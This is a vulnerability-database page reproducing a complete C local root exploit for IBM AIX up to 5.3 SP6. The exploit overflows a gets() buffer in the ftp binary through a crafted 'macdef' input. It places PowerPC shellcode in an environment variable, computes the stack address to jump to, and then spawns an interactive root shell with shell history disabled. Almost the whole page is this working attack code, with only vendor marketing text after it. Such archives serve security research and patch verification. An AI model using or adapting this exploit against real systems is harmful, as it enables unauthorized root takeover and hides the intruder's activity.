Lucene search
K

IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 24 Views

IBM AIX <= 5.3 sp6 ftp gets() Local Root Exploi

Code

                                                /* 07/2007: public release
 * IBM AIX &#60;= 5.3 sp6
 *
 * AIX ftp Local Root Exploit
 * By qaaz
 */
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;

#include &#60;unistd.h&#62;
#include &#60;sys/wait.h&#62;
#include &#60;sys/select.h&#62;

#define TARGET		&#34;/usr/bin/ftp&#34;
#define OVERLEN		300

#define MAX(x,y)	((x) &#62; (y) ? (x) : (y))
#define ALIGN(x,y)	(((x) + (y) - 1) / (y) * (y))

unsigned char qaazcode[] =
&#34;\x60\x60\x60\x60\x60\x60\x60\x60&#34;
&#34;\x7c\x63\x1a\x79\x40\x82\xff\xfd&#34;
&#34;\x7e\xa8\x02\xa6\x3a\xb5\x01\x01&#34;
&#34;\x88\x55\xff\x5b\x3a\xd5\xff\x1b&#34;
&#34;\x7e\xc8\x03\xa6\x4c\xc6\x33\x42&#34;
&#34;\x44\xff\xff\x02\x38\x75\xff\x5f&#34;
&#34;\x38\x63\x01\x01\x88\x95\xff\x5d&#34;
&#34;\x38\x63\x01\x02\x38\x63\xfe\xff&#34;
&#34;\x88\xa3\xfe\xff\x7c\x04\x28\x40&#34;
&#34;\x40\x82\xff\xf0\x7c\xa5\x2a\x78&#34;
&#34;\x98\xa3\xfe\xff\x88\x55\xff\x5c&#34;
&#34;\x38\x75\xff\x5f\x38\x81\xff\xf8&#34;
&#34;\x90\x61\xff\xf8\x90\xa1\xff\xfc&#34;
&#34;\x4b\xff\xff\xbd\xb8\x05\x7c\xff&#34;;

void	shell(int p1[2], int p2[2])
{
	ssize_t	n;
	fd_set	rset;
	char	buf[4096];

	for (;;) {
		FD_ZERO(&rset);
		FD_SET(p1[0], &rset);
		FD_SET(p2[0], &rset);

		n = select(MAX(p1[0], p2[0]) + 1,
		           &rset, NULL, NULL, NULL);
		if (n &#60; 0) {
			perror(&#34;[-] select&#34;);
			break;
		}

		if (FD_ISSET(p1[0], &rset)) {
			n = read(p1[0], buf, sizeof(buf));
			if (n &#60;= 0) break;
			write(p1[1], buf, n);
		}
		if (FD_ISSET(p2[0], &rset)) {
			n = read(p2[0], buf, sizeof(buf));
			if (n &#60;= 0) break;
			write(p2[1], buf, n);
		}
	}
}

/* just because you don&#39;t understand it doesn&#39;t mean it has to be wrong */
ulong	get_addr(char *argv[], char *envp[], char *args[], char *envs[])
{
	ulong	top, len, off;
	int	i;

	len = 0;
	for (i = 0; argv[i]; i++)
		len += strlen(argv[i]) + 1;
	for (i = 0; envp[i]; i++)
		len += strlen(envp[i]) + 1;
	top = (ulong) argv[0] + ALIGN(len, 8);

	len = off = 0;
	for (i = 0; args[i]; i++)
		len += strlen(args[i]) + 1;
	for (i = 0; envs[i]; i++) {
		if (!strncmp(envs[i], &#34;EGG=&#34;, 4))
			off = len + 4;
		len += strlen(envs[i]) + 1;
	}
	while (off & 3)
		strcat(envs[0], &#34;X&#34;), off++, len++;

	return top - ALIGN(len, 4) + off;
}

int	main(int argc, char *argv[], char *envp[])
{
	char	pad[16] = &#34;PAD=X&#34;, egg[512];
	char	*args[] = { TARGET, NULL };
	char	*envs[] = { pad, egg, NULL };
	int	pi[2], po[2], i;
	pid_t	child;	
	ulong	addr;

	sprintf(egg, &#34;EGG=%s/proc/%d/object/a.out|&#34;, qaazcode, getpid());

	if (!envp[0]) {
		setuid(geteuid());
		putenv(&#34;HISTFILE=/dev/null&#34;);
		execl(&#34;/bin/bash&#34;, &#34;bash&#34;, &#34;-i&#34;, NULL);
		execl(&#34;/bin/sh&#34;, &#34;sh&#34;, &#34;-i&#34;, NULL);
		perror(&#34;[-] execl&#34;);
		exit(1);
	}

	printf(&#34;----------------------------\n&#34;);
	printf(&#34; AIX ftp Local Root Exploit\n&#34;);
	printf(&#34; By qaaz\n&#34;);
	printf(&#34;----------------------------\n&#34;);

	if (pipe(pi) &#60; 0 || pipe(po) &#60; 0) {
		perror(&#34;[-] pipe&#34;);
		exit(1);
	}

	addr = get_addr(argv, envp, args, envs);

	if ((child = fork()) &#60; 0) {
		perror(&#34;[-] fork&#34;);
		exit(1);
	}

	if (child == 0) {
		dup2(pi[0], 0);
		dup2(po[1], 1);
		dup2(po[1], 2);
		execve(TARGET, args, envs);
		perror(&#34;[-] execve&#34;);
		exit(1);
	}

	write(pi[1], &#34;macdef foo\n\n$\nfoo ab&#34;, 20);
	for (i = 0; i &#60; OVERLEN; i += sizeof(addr))
		write(pi[1], &addr, sizeof(addr));
	write(pi[1], &#34;\n&#34;, 1);

	fflush(stdout);
	fflush(stderr);

	close(pi[0]);
	close(po[1]);
	shell((int[2]) { 0, pi[1] }, (int[2]) { po[0], 1 });
	kill(child, SIGTERM);
	waitpid(child, NULL, 0);
	return 0;
}

// milw0rm.com [2007-07-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
24